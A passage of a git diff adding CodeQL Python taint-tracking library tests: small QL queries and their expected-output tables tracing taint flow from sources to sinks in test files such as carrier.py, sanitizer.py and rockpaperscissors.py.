simple.test | test.py:76 | 78 | t | simple.test | +| simple.test | test.py:128 | 132 | t | simple.test | +| simple.test | test.py:159 | 160 | t | simple.test | +| simple.test | test.py:168 | 172 | Subscript | simple.test | +| simple.test | test.py:169 | 173 | Subscript | simple.test | diff --git a/python/ql/test/library-tests/taint/general/TestSink.ql b/python/ql/test/library-tests/taint/general/TestSink.ql new file mode 100644 index 00000000000..d0361cc204a --- /dev/null +++ b/python/ql/test/library-tests/taint/general/TestSink.ql @@ -0,0 +1,8 @@ +import python +import semmle.python.security.TaintTracking +import TaintLib + +from TaintSource src, TaintSink sink, TaintKind srckind, TaintKind sinkkind + +where src.flowsToSink(srckind, sink) and sink.sinks(sinkkind) +select srckind, src.getLocation().toString(), sink.getLocation().getStartLine(), sink.(ControlFlowNode).getNode().toString(), sinkkind diff --git a/python/ql/test/library-tests/taint/general/TestSource.expected b/python/ql/test/library-tests/taint/general/TestSource.expected new file mode 100644 index 00000000000..ea9012b7735 --- /dev/null +++ b/python/ql/test/library-tests/taint/general/TestSource.expected @@ -0,0 +1,42 @@ +| carrier.py:17 | SOURCE | simple.test | +| carrier.py:21 | TAINT_CARRIER_SOURCE | explicit.carrier | +| carrier.py:25 | SOURCE | simple.test | +| carrier.py:29 | TAINT_CARRIER_SOURCE | explicit.carrier | +| carrier.py:33 | TAINT_CARRIER_SOURCE | explicit.carrier | +| deep.py:20 | SOURCE | simple.test | +| module.py:3 | SOURCE | simple.test | +| module.py:7 | SOURCE | simple.test | +| module.py:10 | SOURCE | simple.test | +| rockpaperscissors.py:13 | SCISSORS | scissors | +| rockpaperscissors.py:16 | ROCK | rock | +| rockpaperscissors.py:19 | ROCK | rock | +| rockpaperscissors.py:24 | ROCK | rock | +| rockpaperscissors.py:29 | SCISSORS | scissors | +| sanitizer.py:9 | user_input() | Command injection | +| sanitizer.py:9 | user_input() | SQL injection | +| sanitizer.py:16 | user_input() | Command injection | +| sanitizer.py:16 | user_input() | SQL injection | +| sanitizer.py:24 | user_input() | Command injection | +| sanitizer.py:24 | user_input() | SQL injection | +| sanitizer.py:31 | user_input() | Command injection | +| sanitizer.py:31 | user_input() | SQL injection | +| test.py:3 | SOURCE | simple.test | +| test.py:6 | SOURCE | simple.test | +| test.py:10 | SOURCE | simple.test | +| test.py:20 | SOURCE | simple.test | +| test.py:31 | SOURCE | simple.test | +| test.py:37 | SOURCE | simple.test | +| test.py:62 | SOURCE | simple.test | +| test.py:67 | SOURCE | simple.test | +| test.py:76 | SOURCE | simple.test | +| test.py:120 | CUSTOM_SOURCE | basic.custom | +| test.py:126 | CUSTOM_SOURCE | basic.custom | +| test.py:128 | SOURCE | simple.test | +| test.py:136 | CUSTOM_SOURCE | basic.custom | +| test.py:138 | SOURCE | simple.test | +| test.py:146 | CUSTOM_SOURCE | basic.custom | +| test.py:148 | SOURCE | simple.test | +| test.py:159 | SOURCE | simple.test | +| test.py:163 | SOURCE | simple.test | +| test.py:168 | SOURCE | simple.test | +| test.py:169 | SOURCE | simple.test | diff --git a/python/ql/test/library-tests/taint/general/TestSource.ql b/python/ql/test/library-tests/taint/general/TestSource.ql new file mode 100644 index 00000000000..ba064220bfb --- /dev/null +++ b/python/ql/test/library-tests/taint/general/TestSource.ql @@ -0,0 +1,8 @@ +import python +import semmle.python.security.TaintTracking +import TaintLib + + +from TaintSource src, TaintKind kind +where src.isSourceOf(kind) +select src.getLocation().toString(), src.(ControlFlowNode).getNode().toString(), kind diff --git a/python/ql/test/library-tests/taint/general/TestStep.expected b/python/ql/test/library-tests/taint/general/TestStep.expected new file mode 100644 index 00000000000..a4c72fd6b0c --- /dev/null +++ b/python/ql/test/library-tests/taint/general/TestStep.expected @@ -0,0 +1,180 @@ +| Attribute 'attr' taint explicit.carrier | carrier.py:5 | self | carrier.py:33 | --> | Attribute 'attr' taint explicit.carrier | carrier.py:33 | ImplicitCarrier() | | +| Attribute 'attr' taint explicit.carrier | carrier.py:33 | ImplicitCarrier() | | --> | Attribute 'attr' taint explicit.carrier | carrier.py:34 | c | | +| Attribute 'attr' taint explicit.carrier | carrier.py:34 | c | | --> | Taint explicit.carrier | carrier.py:34 | Attribute | | +| Attribute 'attr' taint simple.test | carrier.py:5 | self | carrier.py:17 | --> | Attribute 'attr' taint simple.test | carrier.py:17 | ImplicitCarrier() | | +| Attribute 'attr' taint simple.test | carrier.py:5 | self | carrier.py:25 | --> | Attribute 'attr' taint simple.test | carrier.py:25 | ImplicitCarrier() | | +| Attribute 'attr' taint simple.test | carrier.py:13 | arg | carrier.py:25 | --> | Attribute 'attr' taint simple.test | carrier.py:14 | arg | carrier.py:25 | +| Attribute 'attr' taint simple.test | carrier.py:14 | arg | carrier.py:25 | --> | Attribute 'attr' taint simple.test | carrier.py:25 | hub() | | +| Attribute 'attr' taint simple.test | carrier.py:17 | ImplicitCarrier() | | --> | Attribute 'attr' taint simple.test | carrier.py:18 | c | | +| Attribute 'attr' taint simple.test | carrier.py:18 | c | | --> | Taint simple.test | carrier.py:18 | Attribute | | +| Attribute 'attr' taint simple.test | carrier.py:25 | ImplicitCarrier() | | --> | Attribute 'attr' taint simple.test | carrier.py:13 | arg | carrier.py:25 | +| Attribute 'attr' taint simple.test | carrier.py:25 | hub() | | --> | Attribute 'attr' taint simple.test | carrier.py:26 | c | | +| Attribute 'dangerous' taint simple.test | test.py:85 | ImportExpr | | --> | Attribute 'dangerous' taint simple.test | test.py:88 | module | | +| Attribute 'dangerous' taint simple.test | test.py:85 | ImportExpr | | --> | Attribute 'dangerous' taint simple.test | test.py:92 | module | | +| Attribute 'dangerous' taint simple.test | test.py:85 | ImportExpr | | --> | Attribute 'dangerous' taint simple.test | test.py:96 | module | | +| Attribute 'dangerous' taint simple.test | test.py:85 | ImportExpr | | --> | Attribute 'dangerous' taint simple.test | test.py:100 | module | | +| Attribute 'dangerous' taint simple.test | test.py:85 | ImportExpr | | --> | Attribute 'dangerous' taint simple.test | test.py:110 | module | | +| Attribute 'dangerous' taint simple.test | test.py:85 | ImportExpr | | --> | Attribute 'dangerous' taint simple.test | test.py:115 | module | | +| Attribute 'dangerous' taint simple.test | test.py:88 | module | | --> | Taint simple.test | test.py:88 | Attribute | | +| Attribute 'dangerous' taint simple.test | test.py:110 | module | | --> | Taint simple.test | test.py:110 | Attribute | | +| Attribute 'dangerous' taint simple.test | test.py:115 | module | | --> | Taint simple.test | test.py:115 | Attribute | | +| Attribute 'x' taint simple.test | test.py:72 | arg | test.py:116 | --> | Attribute 'x' taint simple.test | test.py:73 | arg | test.py:116 | +| Attribute 'x' taint simple.test | test.py:73 | arg | test.py:116 | --> | Attribute 'x' taint simple.test | test.py:116 | hub() | | +| Attribute 'x' taint simple.test | test.py:105 | arg | test.py:117 | --> | Attribute 'x' taint simple.test | test.py:106 | arg | test.py:117 | +| Attribute 'x' taint simple.test | test.py:106 | arg | test.py:117 | --> | Taint simple.test | test.py:106 | Attribute | test.py:117 | +| Attribute 'x' taint simple.test | test.py:110 | t | | --> | Attribute 'x' taint simple.test | test.py:111 | t | | +| Attribute 'x' taint simple.test | test.py:111 | t | | --> | Taint simple.test | test.py:111 | Attribute | | +| Attribute 'x' taint simple.test | test.py:115 | t | | --> | Attribute 'x' taint simple.test | test.py:116 | t | | +| Attribute 'x' taint simple.test | test.py:116 | hub() | | --> | Attribute 'x' taint simple.test | test.py:117 | t | | +| Attribute 'x' taint simple.test | test.py:116 | t | | --> | Attribute 'x' taint simple.test | test.py:72 | arg | test.py:116 | +| Attribute 'x' taint simple.test | test.py:117 | t | | --> | Attribute 'x' taint simple.test | test.py:105 | arg | test.py:117 | +| Taint Command injection | sanitizer.py:9 | user_input() | | --> | Taint Command injection | sanitizer.py:10 | x | | +| Taint Command injection | sanitizer.py:9 | user_input() | | --> | Taint Command injection | sanitizer.py:11 | x | | +| Taint Command injection | sanitizer.py:9 | user_input() | | --> | Taint Command injection | sanitizer.py:13 | x | | +| Taint Command injection | sanitizer.py:10 | x | | --> | Taint Command injection | sanitizer.py:3 | arg | sanitizer.py:10 | +| Taint Command injection | sanitizer.py:16 | user_input() | | --> | Taint Command injection | sanitizer.py:17 | x | | +| Taint Command injection | sanitizer.py:16 | user_input() | | --> | Taint Command injection | sanitizer.py:20 | x | | +| Taint Command injection | sanitizer.py:17 | x | | --> | Taint Command injection | sanitizer.py:5 | arg | sanitizer.py:17 | +| Taint Command injection | sanitizer.py:24 | user_input() | | --> | Taint Command injection | sanitizer.py:25 | x | | +| Taint Command injection | sanitizer.py:24 | user_input() | | --> | Taint Command injection | sanitizer.py:26 | x | | +| Taint Command injection | sanitizer.py:24 | user_input() | | --> | Taint Command injection | sanitizer.py:28 | x | | +| Taint Command injection | sanitizer.py:31 | user_input() | | --> | Taint Command injection | sanitizer.py:32 | x | | +| Taint Command injection | sanitizer.py:31 | user_input() | | --> | Taint Command injection | sanitizer.py:33 | x | | +| Taint Command injection | sanitizer.py:31 | user_input() | | --> | Taint Command injection | sanitizer.py:35 | x | | +| Taint SQL injection | sanitizer.py:9 | user_input() | | --> | Taint SQL injection | sanitizer.py:10 | x | | +| Taint SQL injection | sanitizer.py:9 | user_input() | | --> | Taint SQL injection | sanitizer.py:13 | x | | +| Taint SQL injection | sanitizer.py:10 | x | | --> | Taint SQL injection | sanitizer.py:3 | arg | sanitizer.py:10 | +| Taint SQL injection | sanitizer.py:16 | user_input() | | --> | Taint SQL injection | sanitizer.py:17 | x | | +| Taint SQL injection | sanitizer.py:16 | user_input() | | --> | Taint SQL injection | sanitizer.py:18 | x | | +| Taint SQL injection | sanitizer.py:16 | user_input() | | --> | Taint SQL injection | sanitizer.py:20 | x | | +| Taint SQL injection | sanitizer.py:17 | x | | --> | Taint SQL injection | sanitizer.py:5 | arg | sanitizer.py:17 | +| Taint SQL injection | sanitizer.py:24 | user_input() | | --> | Taint SQL injection | sanitizer.py:25 | x | | +| Taint SQL injection | sanitizer.py:24 | user_input() | | --> | Taint SQL injection | sanitizer.py:26 | x | | +| Taint SQL injection | sanitizer.py:24 | user_input() | | --> | Taint SQL injection | sanitizer.py:28 | x | | +| Taint SQL injection | sanitizer.py:31 | user_input() | | --> | Taint SQL injection | sanitizer.py:32 | x | | +| Taint SQL injection | sanitizer.py:31 | user_input() | | --> | Taint SQL injection | sanitizer.py:33 | x | | +| Taint SQL injection | sanitizer.py:31 | user_input() | | --> | Taint SQL injection | sanitizer.py:35 | x | | +| Taint [simple.test] | test.py:168 | List | | --> | Taint [simple.test] | test.py:170 | l | | +| Taint [simple.test] | test.py:168 | List | | --> | Taint [simple.test] | test.py:174 | l | | +| Taint [simple.test] | test.py:170 | l | | --> | Taint [simple.test] | test.py:172 | x | | +| Taint [simple.test] | test.py:172 | x | | --> | Taint simple.test | test.py:172 | Subscript | | +| Taint [simple.test] | test.py:174 | l | | --> | Taint [simple.test] | test.py:174 | list() | | +| Taint basic.custom | test.py:72 | arg | test.py:121 | --> | Taint basic.custom | test.py:73 | arg | test.py:121 | +| Taint basic.custom | test.py:73 | arg | test.py:121 | --> | Taint basic.custom | test.py:121 | hub() | | +| Taint basic.custom | test.py:120 | CUSTOM_SOURCE | | --> | Taint basic.custom | test.py:121 | t | | +| Taint basic.custom | test.py:121 | TAINT_FROM_ARG() | | --> | Taint basic.custom | test.py:72 | arg | test.py:121 | +| Taint basic.custom | test.py:121 | hub() | | --> | Taint basic.custom | test.py:122 | t | | +| Taint basic.custom | test.py:121 | t | | --> | Taint basic.custom | test.py:121 | TAINT_FROM_ARG() | | +| Taint basic.custom | test.py:126 | CUSTOM_SOURCE | | --> | Taint basic.custom | test.py:130 | t | | +| Taint basic.custom | test.py:136 | CUSTOM_SOURCE | | --> | Taint basic.custom | test.py:142 | t | | +| Taint basic.custom | test.py:146 | CUSTOM_SOURCE | | --> | Taint basic.custom | test.py:149 | t | | +| Taint basic.custom | test.py:149 | TAINT_FROM_ARG() | | --> | Taint basic.custom | test.py:151 | t | | +| Taint basic.custom | test.py:149 | t | | --> | Taint basic.custom | test.py:149 | TAINT_FROM_ARG() | | +| Taint explicit.carrier | carrier.py:4 | arg | carrier.py:33 | --> | Taint explicit.carrier | carrier.py:5 | arg | carrier.py:33 | +| Taint explicit.carrier | carrier.py:5 | arg | carrier.py:33 | --> | Attribute 'attr' taint explicit.carrier | carrier.py:5 | self | carrier.py:33 | +| Taint explicit.carrier | carrier.py:13 | arg | carrier.py:29 | --> | Taint explicit.carrier | carrier.py:14 | arg | carrier.py:29 | +| Taint explicit.carrier | carrier.py:14 | arg | carrier.py:29 | --> | Taint explicit.carrier | carrier.py:29 | hub() | | +| Taint explicit.carrier | carrier.py:21 | TAINT_CARRIER_SOURCE | | --> | Taint explicit.carrier | carrier.py:22 | c | | +| Taint explicit.carrier | carrier.py:22 | c | | --> | Taint simple.test | carrier.py:22 | Attribute() | | +| Taint explicit.carrier | carrier.py:29 | TAINT_CARRIER_SOURCE | | --> | Taint explicit.carrier | carrier.py:13 | arg | carrier.py:29 | +| Taint explicit.carrier | carrier.py:29 | hub() | | --> | Taint explicit.carrier | carrier.py:30 | c | | +| Taint explicit.carrier | carrier.py:30 | c | | --> | Taint simple.test | carrier.py:30 | Attribute() | | +| Taint explicit.carrier | carrier.py:33 | TAINT_CARRIER_SOURCE | | --> | Taint explicit.carrier | carrier.py:4 | arg | carrier.py:33 | +| Taint explicit.carrier | carrier.py:34 | Attribute | | --> | Taint explicit.carrier | carrier.py:35 | x | | +| Taint explicit.carrier | carrier.py:35 | x | | --> | Taint simple.test | carrier.py:35 | Attribute() | | +| Taint paper | rockpaperscissors.py:25 | Attribute() | | --> | Taint paper | rockpaperscissors.py:26 | y | | +| Taint paper | rockpaperscissors.py:26 | y | | --> | Taint paper | rockpaperscissors.py:9 | arg | rockpaperscissors.py:26 | +| Taint paper | rockpaperscissors.py:30 | Attribute() | | --> | Taint paper | rockpaperscissors.py:32 | y | | +| Taint paper | rockpaperscissors.py:32 | y | | --> | Taint paper | rockpaperscissors.py:6 | arg | rockpaperscissors.py:32 | +| Taint rock | rockpaperscissors.py:16 | ROCK | | --> | Taint rock | rockpaperscissors.py:6 | arg | rockpaperscissors.py:16 | +| Taint rock | rockpaperscissors.py:19 | ROCK | | --> | Taint rock | rockpaperscissors.py:20 | x | | +| Taint rock | rockpaperscissors.py:20 | x | | --> | Taint scissors | rockpaperscissors.py:20 | Attribute() | | +| Taint rock | rockpaperscissors.py:24 | ROCK | | --> | Taint rock | rockpaperscissors.py:25 | x | | +| Taint rock | rockpaperscissors.py:25 | x | | --> | Taint scissors | rockpaperscissors.py:25 | Attribute() | | +| Taint scissors | rockpaperscissors.py:13 | SCISSORS | | --> | Taint scissors | rockpaperscissors.py:3 | arg | rockpaperscissors.py:13 | +| Taint scissors | rockpaperscissors.py:20 | Attribute() | | --> | Taint scissors | rockpaperscissors.py:21 | y | | +| Taint scissors | rockpaperscissors.py:21 | y | | --> | Taint scissors | rockpaperscissors.py:9 | arg | rockpaperscissors.py:21 | +| Taint scissors | rockpaperscissors.py:25 | Attribute() | | --> | Taint paper | rockpaperscissors.py:25 | Attribute() | | +| Taint scissors | rockpaperscissors.py:29 | SCISSORS | | --> | Taint scissors | rockpaperscissors.py:30 | x | | +| Taint scissors | rockpaperscissors.py:29 | SCISSORS | | --> | Taint scissors | rockpaperscissors.py:31 | x | | +| Taint scissors | rockpaperscissors.py:30 | x | | --> | Taint paper | rockpaperscissors.py:30 | Attribute() | | +| Taint scissors | rockpaperscissors.py:31 | x | | --> | Taint scissors | rockpaperscissors.py:6 | arg | rockpaperscissors.py:31 | +| Taint simple.test | carrier.py:4 | arg | carrier.py:17 | --> | Taint simple.test | carrier.py:5 | arg | carrier.py:17 | +| Taint simple.test | carrier.py:4 | arg | carrier.py:25 | --> | Taint simple.test | carrier.py:5 | arg | carrier.py:25 | +| Taint simple.test | carrier.py:5 | arg | carrier.py:17 | --> | Attribute 'attr' taint simple.test | carrier.py:5 | self | carrier.py:17 | +| Taint simple.test | carrier.py:5 | arg | carrier.py:25 | --> | Attribute 'attr' taint simple.test | carrier.py:5 | self | carrier.py:25 | +| Taint simple.test | carrier.py:17 | SOURCE | | --> | Taint simple.test | carrier.py:4 | arg | carrier.py:17 | +| Taint simple.test | carrier.py:25 | SOURCE | | --> | Taint simple.test | carrier.py:4 | arg | carrier.py:25 | +| Taint simple.test | deep.py:2 | arg | deep.py:6 from deep.py:9 from deep.py:12 from deep.py:15 from deep.py:18 from deep.py:20 | --> | Taint simple.test | deep.py:3 | arg | deep.py:6 from deep.py:9 from deep.py:12 from deep.py:15 from deep.py:18 from deep.py:20 | +| Taint simple.test | deep.py:3 | arg | deep.py:6 from deep.py:9 from deep.py:12 from deep.py:15 from deep.py:18 from deep.py:20 | --> | Taint simple.test | deep.py:6 | f1() | deep.py:9 from deep.py:12 from deep.py:15 from deep.py:18 from deep.py:20 | +| Taint simple.test | deep.py:5 | arg | deep.py:9 from deep.py:12 from deep.py:15 from deep.py:18 from deep.py:20 | --> | Taint simple.test | deep.py:6 | arg | deep.py:9 from deep.py:12 from deep.py:15 from deep.py:18 from deep.py:20 | +| Taint simple.test | deep.py:6 | arg | deep.py:9 from deep.py:12 from deep.py:15 from deep.py:18 from deep.py:20 | --> | Taint simple.test | deep.py:2 | arg | deep.py:6 from deep.py:9 from deep.py:12 from deep.py:15 from deep.py:18 from deep.py:20 | +| Taint simple.test | deep.py:6 | f1() | deep.py:9 from deep.py:12 from deep.py:15 from deep.py:18 from deep.py:20 | --> | Taint simple.test | deep.py:9 | f2() | deep.py:12 from deep.py:15 from deep.py:18 from deep.py:20 | +| Taint simple.test | deep.py:8 | arg | deep.py:12 from deep.py:15 from deep.py:18 from deep.py:20 | --> | Taint simple.test | deep.py:9 | arg | deep.py:12 from deep.py:15 from deep.py:18 from deep.py:20 | +| Taint simple.test | deep.py:9 | arg | deep.py:12 from deep.py:15 from deep.py:18 from deep.py:20 | --> | Taint simple.test | deep.py:5 | arg | deep.py:9 from deep.py:12 from deep.py:15 from deep.py:18 from deep.py:20 | +| Taint simple.test | deep.py:9 | f2() | deep.py:12 from deep.py:15 from deep.py:18 from deep.py:20 | --> | Taint simple.test | deep.py:12 | f3() | deep.py:15 from deep.py:18 from deep.py:20 | +| Taint simple.test | deep.py:11 | arg | deep.py:15 from deep.py:18 from deep.py:20 | --> | Taint simple.test | deep.py:12 | arg | deep.py:15 from deep.py:18 from deep.py:20 | +| Taint simple.test | deep.py:12 | arg | deep.py:15 from deep.py:18 from deep.py:20 | --> | Taint simple.test | deep.py:8 | arg | deep.py:12 from deep.py:15 from deep.py:18 from deep.py:20 | +| Taint simple.test | deep.py:12 | f3() | deep.py:15 from deep.py:18 from deep.py:20 | --> | Taint simple.test | deep.py:15 | f4() | deep.py:18 from deep.py:20 | +| Taint simple.test | deep.py:14 | arg | deep.py:18 from deep.py:20 | --> | Taint simple.test | deep.py:15 | arg | deep.py:18 from deep.py:20 | +| Taint simple.test | deep.py:15 | arg | deep.py:18 from deep.py:20 | --> | Taint simple.test | deep.py:11 | arg | deep.py:15 from deep.py:18 from deep.py:20 | +| Taint simple.test | deep.py:15 | f4() | deep.py:18 from deep.py:20 | --> | Taint simple.test | deep.py:18 | f5() | deep.py:20 | +| Taint simple.test | deep.py:17 | arg | deep.py:20 | --> | Taint simple.test | deep.py:18 | arg | deep.py:20 | +| Taint simple.test | deep.py:18 | arg | deep.py:20 | --> | Taint simple.test | deep.py:14 | arg | deep.py:18 from deep.py:20 | +| Taint simple.test | deep.py:18 | f5() | deep.py:20 | --> | Taint simple.test | deep.py:20 | f6() | | +| Taint simple.test | deep.py:20 | SOURCE | | --> | Taint simple.test | deep.py:17 | arg | deep.py:20 | +| Taint simple.test | deep.py:20 | f6() | | --> | Taint simple.test | deep.py:22 | x | | +| Taint simple.test | module.py:3 | SOURCE | | --> | Attribute 'dangerous' taint simple.test | test.py:85 | ImportExpr | | +| Taint simple.test | module.py:3 | SOURCE | | --> | Attribute 'dangerous' taint simple.test | test.py:155 | ImportExpr | | +| Taint simple.test | module.py:3 | SOURCE | | --> | Taint simple.test | test.py:155 | ImportMember | | +| Taint simple.test | module.py:7 | SOURCE | | --> | Taint simple.test | test.py:100 | Attribute() | | +| Taint simple.test | test.py:6 | SOURCE | | --> | Taint simple.test | test.py:7 | s | | +| Taint simple.test | test.py:10 | SOURCE | | --> | Taint simple.test | test.py:16 | source() | | +| Taint simple.test | test.py:10 | SOURCE | | --> | Taint simple.test | test.py:24 | source() | | +| Taint simple.test | test.py:10 | SOURCE | | --> | Taint simple.test | test.py:44 | source() | | +| Taint simple.test | test.py:12 | arg | test.py:21 | --> | Taint simple.test | test.py:13 | arg | test.py:21 | +| Taint simple.test | test.py:12 | arg | test.py:25 | --> | Taint simple.test | test.py:13 | arg | test.py:25 | +| Taint simple.test | test.py:12 | arg | test.py:47 from test.py:55 | --> | Taint simple.test | test.py:13 | arg | test.py:47 from test.py:55 | +| Taint simple.test | test.py:12 | arg | test.py:51 from test.py:63 | --> | Taint simple.test | test.py:13 | arg | test.py:51 from test.py:63 | +| Taint simple.test | test.py:12 | arg | test.py:51 from test.py:70 | --> | Taint simple.test | test.py:13 | arg | test.py:51 from test.py:70 | +| Taint simple.test | test.py:16 | source() | | --> | Taint simple.test | test.py:17 | t | | +| Taint simple.test | test.py:20 | SOURCE | | --> | Taint simple.test | test.py:21 | t | | +| Taint simple.test | test.py:21 | t | | --> | Taint simple.test | test.py:12 | arg | test.py:21 | +| Taint simple.test | test.py:24 | source() | | --> | Taint simple.test | test.py:25 | t | | +| Taint simple.test | test.py:25 | t | | --> | Taint simple.test | test.py:12 | arg | test.py:25 | +| Taint simple.test | test.py:37 | SOURCE | | --> | Taint simple.test | test.py:41 | t | | +| Taint simple.test | test.py:44 | source() | | --> | Taint simple.test | test.py:54 | source2() | | +| Taint simple.test | test.py:46 | arg | test.py:55 | --> | Taint simple.test | test.py:47 | arg | test.py:55 | +| Taint simple.test | test.py:47 | arg | test.py:55 | --> | Taint simple.test | test.py:12 | arg | test.py:47 from test.py:55 | +| Taint simple.test | test.py:49 | arg | test.py:63 | --> | Taint simple.test | test.py:51 | arg | test.py:63 | +| Taint simple.test | test.py:49 | arg | test.py:70 | --> | Taint simple.test | test.py:51 | arg | test.py:70 | +| Taint simple.test | test.py:51 | arg | test.py:63 | --> | Taint simple.test | test.py:12 | arg | test.py:51 from test.py:63 | +| Taint simple.test | test.py:51 | arg | test.py:70 | --> | Taint simple.test | test.py:12 | arg | test.py:51 from test.py:70 | +| Taint simple.test | test.py:54 | source2() | | --> | Taint simple.test | test.py:55 | t | | +| Taint simple.test | test.py:55 | t | | --> | Taint simple.test | test.py:46 | arg | test.py:55 | +| Taint simple.test | test.py:62 | SOURCE | | --> | Taint simple.test | test.py:63 | t | | +| Taint simple.test | test.py:63 | t | | --> | Taint simple.test | test.py:49 | arg | test.py:63 | +| Taint simple.test | test.py:67 | SOURCE | | --> | Taint simple.test | test.py:70 | t | | +| Taint simple.test | test.py:70 | t | | --> | Taint simple.test | test.py:49 | arg | test.py:70 | +| Taint simple.test | test.py:72 | arg | test.py:77 | --> | Taint simple.test | test.py:73 | arg | test.py:77 | +| Taint simple.test | test.py:73 | arg | test.py:77 | --> | Taint simple.test | test.py:77 | hub() | | +| Taint simple.test | test.py:76 | SOURCE | | --> | Taint simple.test | test.py:77 | t | | +| Taint simple.test | test.py:77 | hub() | | --> | Taint simple.test | test.py:78 | t | | +| Taint simple.test | test.py:77 | t | | --> | Taint simple.test | test.py:72 | arg | test.py:77 | +| Taint simple.test | test.py:88 | Attribute | | --> | Taint simple.test | test.py:89 | t | | +| Taint simple.test | test.py:100 | Attribute() | | --> | Taint simple.test | test.py:101 | t | | +| Taint simple.test | test.py:110 | Attribute | | --> | Attribute 'x' taint simple.test | test.py:110 | t | | +| Taint simple.test | test.py:115 | Attribute | | --> | Attribute 'x' taint simple.test | test.py:115 | t | | +| Taint simple.test | test.py:128 | SOURCE | | --> | Taint simple.test | test.py:132 | t | | +| Taint simple.test | test.py:138 | SOURCE | | --> | Taint simple.test | test.py:140 | t | | +| Taint simple.test | test.py:148 | SOURCE | | --> | Taint simple.test | test.py:149 | t | | +| Taint simple.test | test.py:155 | ImportMember | | --> | Taint simple.test | test.py:156 | unsafe | | +| Taint simple.test | test.py:159 | SOURCE | | --> | Taint simple.test | test.py:160 | t | | +| Taint simple.test | test.py:163 | SOURCE | | --> | Taint simple.test | test.py:164 | s | | +| Taint simple.test | test.py:168 | SOURCE | | --> | Taint [simple.test] | test.py:168 | List | | +| Taint simple.test | test.py:169 | SOURCE | | --> | Taint {simple.test} | test.py:169 | Dict | | +| Taint {simple.test} | test.py:169 | Dict | | --> | Taint {simple.test} | test.py:171 | d | | +| Taint {simple.test} | test.py:169 | Dict | | --> | Taint {simple.test} | test.py:175 | d | | +| Taint {simple.test} | test.py:171 | d | | --> | Taint {simple.test} | test.py:173 | y | | +| Taint {simple.test} | test.py:173 | y | | --> | Taint simple.test | test.py:173 | Subscript | | +| Taint {simple.test} | test.py:175 | d | | --> | Taint {simple.test} | test.py:175 | dict() | | diff --git a/python/ql/test/library-tests/taint/general/TestStep.ql b/python/ql/test/library-tests/taint/general/TestStep.ql new file mode 100644 index 00000000000..191ab6b1483 --- /dev/null +++ b/python/ql/test/library-tests/taint/general/TestStep.ql @@ -0,0 +1,11 @@ +import python +import semmle.python.security.TaintTracking +import TaintLib + + +from TaintedNode n, TaintedNode s +where s = n.getASuccessor() +select + n.getTrackedValue(), n.getLocation().toString(), n.getNode().getNode().toString(), n.getContext(), + " --> ", + s.getTrackedValue(), s.getLocation().toString(), s.getNode().getNode().toString(), s.getContext() diff --git a/python/ql/test/library-tests/taint/general/TestVar.expected b/python/ql/test/library-tests/taint/general/TestVar.expected new file mode 100644 index 00000000000..5aad11fb547 --- /dev/null +++ b/python/ql/test/library-tests/taint/general/TestVar.expected @@ -0,0 +1,179 @@ +| carrier.py:4 | arg_0 | carrier.py:4 | Taint explicit.carrier | arg | +| carrier.py:4 | arg_0 | carrier.py:4 | Taint simple.test | arg | +| carrier.py:5 | self_1 | carrier.py:5 | Attribute 'attr' taint explicit.carrier | self | +| carrier.py:5 | self_1 | carrier.py:5 | Attribute 'attr' taint simple.test | self | +| carrier.py:13 | arg_0 | carrier.py:13 | Attribute 'attr' taint simple.test | arg | +| carrier.py:13 | arg_0 | carrier.py:13 | Taint explicit.carrier | arg | +| carrier.py:17 | c_0 | carrier.py:17 | Attribute 'attr' taint simple.test | ImplicitCarrier() | +| carrier.py:21 | c_0 | carrier.py:21 | Taint explicit.carrier | TAINT_CARRIER_SOURCE | +| carrier.py:22 | c_1 | carrier.py:21 | Taint explicit.carrier | TAINT_CARRIER_SOURCE | +| carrier.py:25 | c_0 | carrier.py:25 | Attribute 'attr' taint simple.test | hub() | +| carrier.py:29 | c_0 | carrier.py:29 | Taint explicit.carrier | hub() | +| carrier.py:30 | c_1 | carrier.py:29 | Taint explicit.carrier | hub() | +| carrier.py:33 | c_0 | carrier.py:33 | Attribute 'attr' taint explicit.carrier | ImplicitCarrier() | +| carrier.py:34 | x_0 | carrier.py:34 | Taint explicit.carrier | Attribute | +| carrier.py:35 | x_1 | carrier.py:34 | Taint explicit.carrier | Attribute | +| deep.py:2 | arg_0 | deep.py:2 | Taint simple.test | arg | +| deep.py:5 | arg_0 | deep.py:5 | Taint simple.test | arg | +| deep.py:6 | arg_1 | deep.py:5 | Taint simple.test | arg | +| deep.py:8 | arg_0 | deep.py:8 | Taint simple.test | arg | +| deep.py:9 | arg_1 | deep.py:8 | Taint simple.test | arg | +| deep.py:11 | arg_0 | deep.py:11 | Taint simple.test | arg | +| deep.py:12 | arg_1 | deep.py:11 | Taint simple.test | arg | +| deep.py:14 | arg_0 | deep.py:14 | Taint simple.test | arg | +| deep.py:15 | arg_1 | deep.py:14 | Taint simple.test | arg | +| deep.py:17 | arg_0 | deep.py:17 | Taint simple.test | arg | +| deep.py:18 | arg_1 | deep.py:17 | Taint simple.test | arg | +| deep.py:20 | x_1 | deep.py:20 | Taint simple.test | f6() | +| module.py:3 | dangerous_0 | module.py:3 | Taint simple.test | SOURCE | +| rockpaperscissors.py:3 | arg_0 | rockpaperscissors.py:3 | Taint scissors | arg | +| rockpaperscissors.py:6 | arg_0 | rockpaperscissors.py:6 | Taint paper | arg | +| rockpaperscissors.py:6 | arg_0 | rockpaperscissors.py:6 | Taint rock | arg | +| rockpaperscissors.py:6 | arg_0 | rockpaperscissors.py:6 | Taint scissors | arg | +| rockpaperscissors.py:9 | arg_0 | rockpaperscissors.py:9 | Taint paper | arg | +| rockpaperscissors.py:9 | arg_0 | rockpaperscissors.py:9 | Taint scissors | arg | +| rockpaperscissors.py:19 | x_0 | rockpaperscissors.py:19 | Taint rock | ROCK | +| rockpaperscissors.py:20 | x_1 | rockpaperscissors.py:19 | Taint rock | ROCK | +| rockpaperscissors.py:20 | y_0 | rockpaperscissors.py:20 | Taint scissors | Attribute() | +| rockpaperscissors.py:21 | y_1 | rockpaperscissors.py:20 | Taint scissors | Attribute() | +| rockpaperscissors.py:24 | x_0 | rockpaperscissors.py:24 | Taint rock | ROCK | +| rockpaperscissors.py:25 | x_1 | rockpaperscissors.py:24 | Taint rock | ROCK | +| rockpaperscissors.py:25 | y_0 | rockpaperscissors.py:25 | Taint paper | Attribute() | +| rockpaperscissors.py:26 | y_1 | rockpaperscissors.py:25 | Taint paper | Attribute() | +| rockpaperscissors.py:29 | x_0 | rockpaperscissors.py:29 | Taint scissors | SCISSORS | +| rockpaperscissors.py:30 | x_1 | rockpaperscissors.py:29 | Taint scissors | SCISSORS | +| rockpaperscissors.py:30 | y_0 | rockpaperscissors.py:30 